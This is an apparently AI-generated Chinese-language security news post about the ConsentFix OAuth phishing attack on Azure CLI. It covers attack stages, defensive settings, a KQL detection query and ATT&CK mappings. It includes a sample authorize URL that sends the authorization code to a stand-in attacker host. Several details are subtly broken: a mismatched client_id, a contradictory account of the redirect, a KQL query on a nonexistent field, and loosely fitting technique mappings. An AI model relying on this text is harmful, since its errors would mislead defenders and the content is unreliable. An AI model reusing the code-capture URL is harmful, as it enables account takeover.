ConsentFix 攻擊概述
2025 年底,Push Security 發現一種全新變種的 ClickFix 攻擊,命名為 ConsentFix。此攻擊利用 Azure CLI 的 OAuth 授權流程,誘使用戶完成授權,然後竊取授權碼,最終以此交換 Azure CLI 存取權杖,進而直接取得 Microsoft 帳戶的完全控制權。攻擊者不需要使用者的密碼或 MFA 令牌,僅透過使用者在瀏覽器中執行一段看似正常的 OAuth 流程,即可取得帳戶的所有權限。(Push Security, 2025)
技術流程
ConsentFix 的攻擊流程大致可拆解為三個階段:社交工程誘導、授權碼竊取、權杖交換與帳戶接管。
社交工程誘導
攻擊者首先在網路上發布一個被偽裝成企業網站的假頁面。被害者在 Google 搜尋中看到此假網站,點擊進入後頁面會顯示一個偽造的 Cloudflare Turnstile CAPTCHA,要求輸入企業內部的正式電子郵件地址。(SCWorld, 2025)
- 步驟 1:假網站驗證電子郵件屬性,確保目標真實存在。
- 步驟 2:顯示後續指示,要求使用者登入 Microsoft 帳戶並將產生的 URL 複製貼到攻擊者提供的「偽造」登入頁面。
授權碼竊取
使用者按指示完成 Azure CLI 的 OAuth 流程,最終在瀏覽器中跳轉至 Azure 登入頁面,輸入 Microsoft 帳戶資訊並授權 Azure CLI 取得存取權杖。此時,授權碼會被回傳至攻擊者所控制的重定向 URI。攻擊者即刻捕獲此授權碼。(BleepingComputer, 2025)
以下示範 Azure CLI 授權流程的典型 URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=00000003-0000-0000-0000-000000000000
&response_type=code
&redirect_uri=https://malicious.example.com/callback
&response_mode=query
&scope=openid%20offline_access%20https://graph.microsoft.com/.default
&state=1234567890abcdef
權杖交換與帳戶接管
攻擊者將竊取到的授權碼送至 Azure 授權伺服器,換取 access_token、refresh_token 與 id_token。這些 token 允許攻擊者使用 Azure CLI 以被害者身分執行所有授權範圍內的操作,包括讀寫雲端資料、建立管理員帳戶、甚至在 Microsoft 365 上發送電子郵件。(BleepingComputer, 2025)
因為攻擊者使用的是合法的 Azure CLI 連線,傳統 MFA 機制並不會被觸發,攻擊成功後即時取得帳戶全面控制。
攻擊者如何利用 Azure CLI OAuth
Azure CLI 本身設計為在本地機器上執行 Azure 命令,透過 OAuth 2.0 授權碼授予(Authorization Code Grant)與 client_secret 或 device code 方式取得 token。ConsentFix 之所以能成功,主要在於以下兩點:
- 可自行指定重定向 URI:攻擊者在 Azure App 註冊時使用自訂的重定向 URI,確保授權碼回傳至自己的伺服器。
- token 交換不要求 MFA:OAuth 2.0 交換流程本身不會觸發 MFA,除非應用程式已在 Azure AD 內設定「MFA 需求」或使用「Conditional Access」限制。
攻擊者可藉由 Azure CLI 執行 az account get-access-token 等指令,直接取得被害者的存取權杖,並可在短時間內執行大量 API 呼叫,造成帳戶被盜用、資訊外洩或內部資源被破壞。
防禦措施
防禦 ConsentFix 需要多層次的策略,涵蓋使用者教育、Azure AD 內部設定、監控偵測與事後調查。
使用者教育與社交工程防範
- 告知員工不應在未經驗證的網站上輸入 Microsoft 帳戶資訊。
- 鼓勵使用者在任何授權流程前先檢查網址與 SSL 證書。
- 實施「安全意識訓練」並定期進行模擬 phishing 測試。
Azure AD 內部設定
- 啟用 Conditional Access,強制所有 Azure CLI 存取權杖須經過 MFA 或限定可信端點。
- 在 Azure AD 應用程式註冊中,限制
redirect_uris只允許公司內部可信域。 - 使用 App Registration – Permissions 設定最小權限原則,只授權必要的範圍,避免「.default」全域權限。
- 定期檢查 Azure AD Sign‑Ins 日誌,找出不正常的授權碼交換行為。
監控偵測與警報
Elastic Security 的研究顯示,利用 logAnalytics 或 Azure Monitor 可偵測到不正常的 OAuth 授權碼交換。以下是簡易 KQL 查詢範例:
SigninLogs
| where ProviderDisplayName == "Azure Active Directory"
| where ResultType == "0" // 成功登入
| where AuthorizationCode != ""
| summarize Count = count() by UserPrincipalName, ClientAppUsed, IPAddress, Location
| where Count > 5 // 同一 IP 在短時間內多次授權
若偵測到此類異常行為,即可發送警報至 SOC 或安全團隊,並啟動帳戶鎖定流程。
事後調查與恢復
- 利用
Azure AD PowerShell取得有關 token 的client_id、grant_type與scope資訊。 - 確認是否有未經授權的應用程式註冊,並即時撤銷。
- 檢查 Microsoft 365 的
audit logs,找出任何非授權的資料存取與修改。
MITRE ATT&CK 對應
- T1078 – Valid Accounts (Initial Access)
- T1110 – Brute Force (Credential Access)
- T1059 – Command and Scripting Interpreter (Execution)
- T1134 – Access Token Manipulation (Privilege Escalation)
- T1189 – Drive-by Compromise (Execution)
- T1071 – Standard Application Layer Protocol (Command and Control)
結論
ConsentFix 攻擊以 Azure CLI OAuth 為突破口,利用合法授權流程的設計缺陷,讓攻擊者在不暴露密碼或 MFA 的情況下取得 Microsoft 帳戶的完全控制。對於企業而言,關鍵在於:
- 建立嚴格的 Conditional Access 規則,將 Azure CLI 授權限制在可信端點。
- 實行最小權限原則,避免在應用程式註冊時使用「.default」範圍。
- 加強使用者教育,防止社交工程誘導。
- 部署實時偵測與警報機制,確保能即時發現不正常的 OAuth 授權碼交換。
只要結合技術配置、使用者意識與即時監控,企業即可有效降低 ConsentFix 以及類似 OAuth 釣魚攻擊的風險。
參考資料與原文來源
- 🔗 原文來源: SCWorld – Microsoft account takeovers eased by new ConsentFix attack
- 🔗 原文來源: BleepingComputer – New ConsentFix attack hijacks Microsoft accounts via Azure CLI
- 🔗 原文來源: Elastic Security Labs – Microsoft Entra ID OAuth phishing detection
- 🔗 原文來源: Microsoft Docs – Protect backend with Azure AD in Azure API Management
🧠本文由 DreamJ AI 技術新聞生成系統 自動撰寫並進行語意優化,僅供技術研究與教學使用。
請以原廠公告、CVE 官方資料與安全建議為最終依據。












發佈留言